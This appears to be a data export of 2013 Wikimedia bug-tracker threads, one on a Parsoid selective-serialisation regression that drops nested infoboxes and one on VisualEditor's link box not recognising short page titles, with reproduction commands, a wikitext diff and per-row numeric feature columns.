document, the infobox is deleted, but if you make a null edit, the infobox is retained.

This appears to be a bug in selser: if the HTML doesn't change, the wikitext doesn't change, but any small change in the HTML results in the infobox being deleted. I verified that VisualEditor isn't dirtying anything, but just to be sure I also reproduced this on the command line by just making a 1-character change to the HTML as shown below.

I think this may have something to do with the double }} closing in the infobox.

$ mkdir tmp
$ cd tmp
$ wget 'URL -O originalHTML
$ wget 'URL -O originalWikitext
$ cp originalHTML editedHTML
$ vi editedHTML   # Change '<h2>Life and career</h2>' to '<h2>Life and careeer</h2>'
$ node parse.js --html2wt --selser --oldtextfile originalWikitext --oldhtmlfile originalHTML --inputfile editedHTML > newWikitext
$ diff -u originalWikitext newWikitext

--- /home/catrope/tmp/originalWikitext	2013-08-08 14:34:46.463998552 +0800
+++ /home/catrope/tmp/newWikitext	2013-08-08 17:04:41.596239434 +0800
@@ -1,29 +1,7 @@
 {{Use mdy dates|date=June 2013}}
 {{pp-move-indef}}
-{{Infobox person
-| image           = Raven-Symoné 2011.jpg
-| caption         = Raven-Symoné in 2011 
-| birth_name      = Raven-Symoné Christina Pearman 
-| alias           = Raven<BR>Raven-Symone
-| background      = solo_singer
-| instrument      = [[Singing|Vocals]], [[piano]]
-| birth_date      = {{birth date and age|mf=yes|1985|12|10}}
-| birth_place     = [[Atlanta]], [[Georgia (U.S. state)|Georgia]], U.S.<ref>{{cite web |url=URL Symone:Biography on MSN |accessdate=2008-07-15 |year=2008 |publisher=[[MSN]]}}</ref> 
-| genre           = 
-| occupation      = Actress, singer, [[comedienne]], dancer, television producer, [[fashion model]]
-| years_active    = 1989–present
-| label           = [[MCA Records|MCA]], Crash, RayBlaze, [[Hollywood Records|Hollywood]]
-| associated_acts = [[The Cheetah Girls (band)|The Cheetah Girls]]
-| website         = [URL Raven-Symoné Myspace page]
-| module         = {{Infobox musical artist|embed=yes
-| background          = solo_singer
-| genre               = [[Contemporary R&B|R&B]], [[pop music|pop]], [[Hip hop music|hip hop]], [[Soul music|soul]], [[dance music|dance]]
-| instrument          = Vocals, [[piano]]
-| years_active        = 1993–present
-}}
 
-}}
 '''Raven-Symoné Christina Pearman'''<ref>[URL (born December 10, 1985), known professionally as '''Raven-Symoné''' (pronounced {{IPA|/ˈreɪ.vən sɪˈmoʊn/}}, as though unaccented), or simply '''Raven''', is an American actress and singer. Raven-Symoné launched her career in 1989 after appearing in ''[[The Cosby Show]]''<!-- Per URL her first episode of ""A Different World"" was Nov. 2, 1989, while her first Cosby Show episode was Sept 21, 1989. --> as Olivia. She released her debut album, ''[[Here's to New Dreams]]'' in 1993; the single, ""[[That's What Little Girls Are Made Of]]"" charted number 68 on the US ''Billboard'' [[Hot 100]].<ref>[URL That's What Little Girls Are Made Of – Raven-Symoné]. Billboard.com. Retrieved 2012-05-19.</ref> The next album, ''[[Undeniable (Raven-Symoné album)|Undeniable]]'', was released on May 4, 1999.
 
 Raven-Symoné appeared in several successful television series, such as ''[[The Cosby Show]]'' and ''[[Hangin' with Mr. Cooper]]'', in the late 1980s and early 1990s. From 2003 to 2007, she starred in the [[Disney Channel]] series, ''[[That's So Raven]]'' in which she played Raven Baxter, a psychic teenager who tried her best to keep her psychic powers a secret. During her time on ''That's So Raven'', Raven-Symoné released her third studio album, ''[[This Is My Time (Raven-Symoné album)|This is My Time]]'' (2004) which was her best selling solo album to date, charting at number 51 on the ''Billboard'' 200.<ref name=""billboard.com"">[{{BillboardURLbyName|artist=raven-symoné|chart=Billboard 200}} Raven-Symoné]. Billboard.com. Retrieved 2012-05-19.</ref> After a year of the end of ''That's So Raven'', she released her fourth studio album, ''[[Raven-Symoné (album)|Raven-Symoné]]'' (2008). The album peaked at number 159 on the ''Billboard'' 200. During 2003 to 2006, she participated in four soundtracks from Disney, [[RIAA certification|RIAA-certified]] double-platinum album, ''[[The Cheetah Girls (soundtrack)|The Cheetah Girls]]'' (2003), RIAA-certified gold album, ''[[That's So Raven (soundtrack)|That's So Raven]]'' (2004), ''[[That's So Raven Too!]]'' (2006) and RIAA-certified platinum album, ''[[The Cheetah Girls 2 (soundtrack)|The Cheetah Girls 2]]'' (2006). The soundtracks sold a combined 4.1 million copies in the U.S. alone. As of April 2008, Raven-Symoné has sold 314,000 albums in the United States.
@@ -32,7 +10,7 @@
 
 In 2012, Raven-Symoné ranked number eight on ''[[VH1]]''{{'s}} ""100 Greatest Kid Stars Of All Time"" list,<ref name=""GKSAT"">[URL Greatest Kid Star Of All Time]</ref> and ranked number one on ''Loop21''{{'s}} ""10 Richest Black Actresses Under 40"" list.<ref name=""RBAU40"">[URL 10 Richest Black Actresses Under 40]</ref>
 
-==Life and career==
+==Life and careeer==
 
 ===1985–99: Early life and career beginnings with ''The Cosby Show''===
 Raven-Symoné was born in Atlanta, Georgia to Lydia (née Gaulden) and Christopher B. Pearman. Raven-Symoné is of [[African-American]] <ref>URL name=""imdb"">URL and [[Native Americans in the United States|Native American]] ancestry.<ref name=""imdb"" /> At age three, her family moved to [[Ossining (village), New York|Ossining, New York]] where she attended Park School.<ref name=""birthplace"">Charlotte Moore (January 25, 2004). [URL Raven takes flight]{{dead link|date=September 2011}} PE.com.</ref><ref>[URL Rootsweb.com]{{Dead link|date=May 2010}}</ref> As an infant, she worked for Atlanta's Young Faces Inc. Modeling Agency and was featured in local print advertisements. At age two, she worked with Ford Models in New York City and appeared in ads for [[Ritz cracker]]s, [[gelatin dessert|Jell-O]], [[Fisher-Price]], and [[Cool Whip]].

--------------------------
**Version**: unspecified
**Severity**: normal"
245979,Selser regression: pages with templates that generate tables and foster content out of the table are broken,Cache is now purged.  I tested on http://en.wikipedia.org/wiki/Crayon_Shin-chan (another page that had been reported with the bug) and verified fixed.,,,1377029359,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.56,0.96,Cache is now purged.  I tested on URL (another page that had been reported with the bug) and verified fixed.
245973,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Fix deployed -- cache is not yet purged, but on purge tomorrow, this will be fixed.",,,1376528533,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5789473684210527,0.9473684210526315,"Fix deployed -- cache is not yet purged, but on purge tomorrow, this will be fixed."
245966,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Change 78242 merged by jenkins-bot:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

https://gerrit.wikimedia.org/r/78242",,,1375981137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9583333333333334,"Change 78242 merged by jenkins-bot:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

GERRIT_URL"
245956,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Change 78242 had a related patch set uploaded by Subramanya Sastry:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

https://gerrit.wikimedia.org/r/78242",,,1375978007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.464285714285714,0.9642857142857143,"Change 78242 had a related patch set uploaded by Subramanya Sastry:
(Bug 52638) Fix selser regression introduced by fix for bug 51217

GERRIT_URL"
245949,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Reduced test case on which the problem can be reproduced:

{|
{{echo|a}}
|-
|x
}}

This is a selser regression introduced by a fix for bug 51217.

A fix will be in shortly.",,,1375976525,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7142857142857143,"Reduced test case on which the problem can be reproduced:

{|
{{echo|a}}
|-
|x
}}

This is a selser regression introduced by a fix for bug 51217.

A fix will be in shortly."
245942,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Confirmed. 

It is not a double-closed infobox.  It is an infobox within an infobox.  Although, I have gone through a number of these scenarios of infoboxes within infoboxes earlier and handled them in our regular serializer ... and confirmed that normal WTS (wt serializer) can handle it.  Now examining what gives selser the fits.

Thanks for the thorough testing and a way to reproduce it.  Will find a reduced test case and proceed.",,,1375974012,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,1.0,7.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,1.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,10.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,11.0,3.0,0.0,0.0,0.0,8.0,0.0,1.0,7.0,1.0,1.0,2.0,0.0,0.0,4.010989010989011,0.7032967032967034,"Confirmed. 

It is not a double-closed infobox.  It is an infobox within an infobox.  Although, I have gone through a number of these scenarios of infoboxes within infoboxes earlier and handled them in our regular serializer ... and confirmed that normal WTS (wt serializer) can handle it.  Now examining what gives selser the fits.

Thanks for the thorough testing and a way to reproduce it.  Will find a reduced test case and proceed."
54596,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**Author:** `sandrobt.wiki`

**Description:**
When trying to link a page with less than or equal to 3 characters, the page is often indicated as New Page in the link box. For example, try to link ""A"", ""AB"" or ""ABB"" on en.wiki (both with capital letters and in lower case, the latter being redirects). 

Notice that this problem doesn't happen with CD and NBA, but it does with Cd and Nba (all these pages are redirects on en.wiki).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50898",High,80.0,1375847280,1377808859.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-kpx3x3zovypfoultwmwq,task_description,resolved,True,c1,3,False,False,True,5,,0.5,0.0,0.0,0.5,0.5,4.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,8.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,11.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.5,1.0,3.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.5,8.5,6.5,0.0,3.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,1.0,0.0,0.0,3.253731343283582,0.6567164179104478,"**Author:** CODE

**Description:**
When trying to link a page with less than or equal to 3 characters, the page is often indicated as New Page in the link box. For example, try to link ""A"", ""AB"" or ""ABB"" on en.wiki (both with capital letters and in lower case, the latter being redirects). 

Notice that this problem doesn't happen with CD and NBA, but it does with Cd and Nba (all these pages are redirects on en.wiki).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
243461,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"

*** This bug has been marked as a duplicate of bug 51013 ***",,,1377808859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51013 ***"
243457,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"This is because VisualEditor relies on MediaWiki's search system to work out what pages exist, and the search engine ignores short strings as not worth bothering with.

We could theoretically fix this in VisualEditor with a hack, but fixing search would be a better solution.",,,1377808647,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,2.0,6.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,16.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,4.0,2.0,0.0,0.0,4.549019607843137,0.8627450980392157,"This is because VisualEditor relies on MediaWiki's search system to work out what pages exist, and the search engine ignores short strings as not worth bothering with.

We could theoretically fix this in VisualEditor with a hack, but fixing search would be a better solution."
243453,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,*** Bug 53547 has been marked as a duplicate of this bug. ***,,,1377808418,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53547 has been marked as a duplicate of this bug. ***
243450,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Indeed very, very odd. I've adjusted the bug summary to reflect the discovered behaviour. It is almost certainly unrelated to redirects though.",,,1376142164,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,22.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.518518518518518,0.8148148148148148,"Indeed very, very odd. I've adjusted the bug summary to reflect the discovered behaviour. It is almost certainly unrelated to redirects though."
243446,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:

Another surprising case is ""Cara"" on it.wiki. It exists and it is not a redirect but is not recognized as existent (neither writing ""Cara"" nor ""cara""), and ""CARA"" doesn't exist at all. 
So I guess this is not (only) related with redirects and it definitely appears also with pages with more than one character.",,,1376106189,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,1.0,0.0,0.0,1.0,5.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,4.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,9.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,9.0,6.0,0.0,10.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,3.525,0.6875,"**sandrobt.wiki** wrote:

Another surprising case is ""Cara"" on it.wiki. It exists and it is not a redirect but is not recognized as existent (neither writing ""Cara"" nor ""cara""), and ""CARA"" doesn't exist at all. 
So I guess this is not (only) related with redirects and it definitely appears also with pages with more than one character."
243441,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Hmm, not necessarily as simple as that as it recognises [[User:ABC]] and [[user:APL]]. It recognises both [[User:BBX]] and [[User:Bbx]] which are different pages and different users (the former Irish the latter a Finland-Swede).

It doesn't recognise [[User:Jim]] but that is a redirect to [[User:Jim (usurped)]].

It does recognise [[User:RVJ]], [[User:ZzZ]] and [[User:PQ3]]. 

I'm stumped!",,,1376075501,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,1.5,3.5,1.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.0,0.0,2.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,16.5,0.0,3.0,4.5,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,3.5,2.0,9.0,0.0,0.0,0.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,12.5,2.7063492063492065,0.5238095238095238,"Hmm, not necessarily as simple as that as it recognises [[User:ABC]] and [[user:APL]]. It recognises both [[User:BBX]] and [[User:Bbx]] which are different pages and different users (the former Irish the latter a Finland-Swede).

It doesn't recognise [[User:Jim]] but that is a redirect to [[User:Jim (usurped)]].

It does recognise [[User:RVJ]], [[User:ZzZ]] and [[User:PQ3]]. 

I'm stumped!"
243436,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"(edit conflict)
Actually assuming that what happens in the user: namespace matches what happens in the article namespace then it is to do with the presence of a redirect. [[User:Rob]] exists but no pages (redirects or otherwise) exist for other capitalisations of those three letters. [[User:Rob]] does appear in the list of suggestions. Now whether that is this bug or bug 50898 I haven't got a clue, so I'll comment there as well.

(new text)
So it appears that it might be capitalisation related rather than redirect related - it works with sentence case Rob but not allcaps AB and FRA.",,,1376074801,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,1.0,1.5,1.5,1.5,0.0,0.0,0.0,3.0,1.5,1.0,0.0,0.0,1.5,0.0,7.5,9.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,7.5,0.5,3.0,1.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.5,11.5,1.0,1.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,3.5,2.0,8.0,3.0,3.5,6.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,4.5,9.5,3.0,0.0,0.0,0.0,4.5,0.0,1.0,1.5,0.0,0.5,0.0,0.0,3.0,3.755128205128205,0.786946386946387,"(edit conflict)
Actually assuming that what happens in the user: namespace matches what happens in the article namespace then it is to do with the presence of a redirect. [[User:Rob]] exists but no pages (redirects or otherwise) exist for other capitalisations of those three letters. [[User:Rob]] does appear in the list of suggestions. Now whether that is this bug or bug 50898 I haven't got a clue, so I'll comment there as well.

(new text)
So it appears that it might be capitalisation related rather than redirect related - it works with sentence case Rob but not allcaps AB and FRA."
243429,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:

> Hmm, although redirects do exist at Ab and Fra which is probably confusing
> the
> issue. I think all TLAs exist as redirects or articles in uppercase and
> titlecase form so I don't know how to test this.

Also User:AB and User:FRA erroneously appear as non-existing (and user:Ab and User:Fra don't exist).",,,1376074522,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1136363636363638,0.6136363636363636,"**sandrobt.wiki** wrote:

QUOTE
QUOTE
QUOTE
QUOTE

Also User:AB and User:FRA erroneously appear as non-existing (and user:Ab and User:Fra don't exist)."
243424,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"

(In reply to comment #3)
> What about ""AB"" or ""FRA""? Those are not redirects. Maybe ""single character
> titles"" is not accurate enough.

Hmm, although redirects do exist at Ab and Fra which is probably confusing the issue. I think all TLAs exist as redirects or articles in uppercase and titlecase form so I don't know how to test this.

(In reply to comment #4)
> Created attachment 13081 [details]
> Link dialog doesn't recognise that existence of single-character page names

This shows that it is the page name (excluding namespace) not the full page name (including namespace) that matters as [[User:A]] (which exists) is not recognised.

**Attached**: {F11470}",,,1376074189,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.5,0.0,0.0,1.0,2.0,1.0,1.0,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,6.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.5,1.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,2.0,2.0,11.0,2.0,1.5,5.5,0.0,0.0,0.0,1.5,3.5,0.0,1.5,0.0,2.0,6.5,1.5,0.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,2.0,0.0,0.0,1.5,3.3559322033898304,0.7033898305084745,"

(In reply to comment #3)
QUOTE
QUOTE

Hmm, although redirects do exist at Ab and Fra which is probably confusing the issue. I think all TLAs exist as redirects or articles in uppercase and titlecase form so I don't know how to test this.

(In reply to comment #4)
QUOTE
QUOTE

This shows that it is the page name (excluding namespace) not the full page name (including namespace) that matters as [[User:A]] (which exists) is not recognised.

**Attached**: {F11470}"
243420,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Created attachment 13081
Link dialog doesn't recognise that existence of single-character page names

